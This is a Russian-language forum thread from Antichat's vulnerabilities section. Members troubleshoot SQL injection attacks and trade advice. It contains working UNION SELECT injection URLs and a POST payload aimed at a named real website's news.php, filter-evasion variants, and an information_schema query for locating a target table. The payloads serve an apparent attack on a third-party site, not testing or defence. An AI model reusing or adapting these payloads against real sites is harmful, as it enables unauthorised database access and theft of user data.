HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 08.01.2012, 00:28
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

Цитата:
Сообщение от NZT  
Konqi
со всем уважением к форуму я не могу найти ответ в гугле, я искал до и после того как задать свой ворпрос здесь и ответа не нашел. Я не знаю как мне решить проблему , можно я еще раз задам здесь свой вопрос?
смотрите имя темы, и подумайте, является ли ваш вопрос "вопросом по уязвимостям"

здесь обсуждают уязвимости, а не программы которые ищут уязвимости в гугле и тп.. это не для нашего форума

надеюсь ясно высказался..
 
Ответить с цитированием

  #2  
Старый 08.01.2012, 00:29
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Цитата:
Сообщение от [R  
eD"]
[R]eD said:
есть скуля, все выводится и работает но посылая например такой запрос
SELECT `name` FROM `users` WHERE `user_id` = 1
сервер переводит имя таблицы в верхний регистр (USERS)
т.к. сервер на линуксе то там по умолчанию зависит от регистра букв.
вот вопрос, как это можно обойти, никакие lower и т.п. не подходят по ясной причине
попробуй

SELECT `name` FROM lower(`users`) WHERE `user_id` = 1
 
Ответить с цитированием

  #3  
Старый 08.01.2012, 00:32
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
С нами: 10409033

Репутация: 3
По умолчанию

Цитата:
Сообщение от попугай  
попробуй
SELECT `name` FROM lower(`users`) WHERE `user_id` = 1
так нарушается синтаксис и выдает ошибку.
 
Ответить с цитированием

  #4  
Старый 08.01.2012, 00:36
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Цитата:
Сообщение от [R  
eD"]
[R]eD said:
так нарушается синтаксис и выдает ошибку.
SELECT `name` FROM lower('users') WHERE `user_id` = 1

возможно, так
 
Ответить с цитированием

  #5  
Старый 08.01.2012, 00:40
Чакэ
Участник форума
Регистрация: 15.08.2010
Сообщений: 260
С нами: 8285366

Репутация: 62
По умолчанию

Цитата:
Сообщение от попугай  
SELECT `name` FROM lower('users') WHERE `user_id` = 1
возможно, так
эти функции распространяются только на элементы выборки. с именами таблиц такое не катит.
 
Ответить с цитированием

  #6  
Старый 08.01.2012, 01:41
lightangel
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами: 7638806

Репутация: -6
По умолчанию

Код:
http://www.pmlnjp.com/news.php?newsid=null*%00*/uni-on/**/se-lect/**/1,2,3,4,5,6,7,8,9
Код:
http://www.pmlnjp.com/news.php?newsid=null%20UNION%20SELEC%201,2,39,4,5,6,7,8,9
I cannot get vulnerable column why?

And no, I don't wanna use blind.
 
Ответить с цитированием

  #7  
Старый 08.01.2012, 01:54
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

Цитата:
Сообщение от lightangel  
Код:
http://www.pmlnjp.com/news.php?newsid=null*%00*/uni-on/**/se-lect/**/1,2,3,4,5,6,7,8,9
Код:
http://www.pmlnjp.com/news.php?newsid=null%20UNION%20SELEC%201,2,39,4,5,6,7,8,9
I cannot get vulnerable column why?
And no, I don't wanna use blind.
Код:
cmd> POST /news.php HTTP/1.0
newsid=1320+and+0+union+select+1,2,3,4,5,6,7,8,9--+
 
Ответить с цитированием

  #8  
Старый 08.01.2012, 02:58
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Цитата:
Сообщение от [R  
eD"]
[R]eD said:
есть скуля, все выводится и работает но посылая например такой запрос
SELECT `name` FROM `users` WHERE `user_id` = 1
сервер переводит имя таблицы в верхний регистр (USERS)
т.к. сервер на линуксе то там по умолчанию зависит от регистра букв.
вот вопрос, как это можно обойти, никакие lower и т.п. не подходят по ясной причине
Что там по умолчанию зависит от регистра? Это не имена файлов, язык запросов от ОС не зависит.

В mysql ограничение может быть, если имя таблицы или базы встречается несколько раз в одном запросе. В этом случае можно использовать только одинаковый регистр.

верно:

Код:
SELECT * FROM tablename WHERE tablename.columnname=1;
SELECT * FROM TableName WHERE TableName.columnname=1;
неверно:

Код:
SELECT * FROM TableName WHERE tablename.columnname=1;
SELECT * FROM tablename WHERE TableName.columnname=1;
upd:

Ошибся. Все таки таблицы - это файлы
 
Ответить с цитированием

  #9  
Старый 08.01.2012, 17:08
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
С нами: 10409033

Репутация: 3
По умолчанию

Цитата:
Сообщение от M_script  
Что там по умолчанию зависит от регистра? Это не имена файлов, язык запросов от ОС не зависит.
В mysql ограничение может быть, если имя таблицы или базы встречается несколько раз в одном запросе. В этом случае можно использовать только одинаковый регистр.
верно:
Код:
SELECT * FROM tablename WHERE tablename.columnname=1;
SELECT * FROM TableName WHERE TableName.columnname=1;
неверно:
Код:
SELECT * FROM TableName WHERE tablename.columnname=1;
SELECT * FROM tablename WHERE TableName.columnname=1;
http://dev.mysql.com/doc/refman/5.0/en/identifier-case-sensitivity.html

сервер выдает ошибку в уже верхнем регистре, т.е. еще до отправки он перевел в верхний регстр запрос

Invalid query: Table 'sqlbd1.ABC_USER' doesn't exist

abc_user 100% существует (проверял в information_schema)
 
Ответить с цитированием

  #10  
Старый 08.01.2012, 17:18
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами: 8686406

Репутация: 265


По умолчанию

Цитата:
Сообщение от [R  
eD"]
[R]eD said:
http://dev.mysql.com/doc/refman/5.0/en/identifier-case-sensitivity.html
сервер выдает ошибку в уже верхнем регистре, т.е. еще до отправки он перевел в верхний регстр запрос
Invalid query: Table 'sqlbd1.ABC_USER' doesn't exist
abc_user 100% существует (проверял в information_schema)
Может быть abc_user просто в другой базе?

Проверь.

union+select+1,2,table_schema+from+information_sch ema.tables+where+table_name=0x6162635f75736572
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.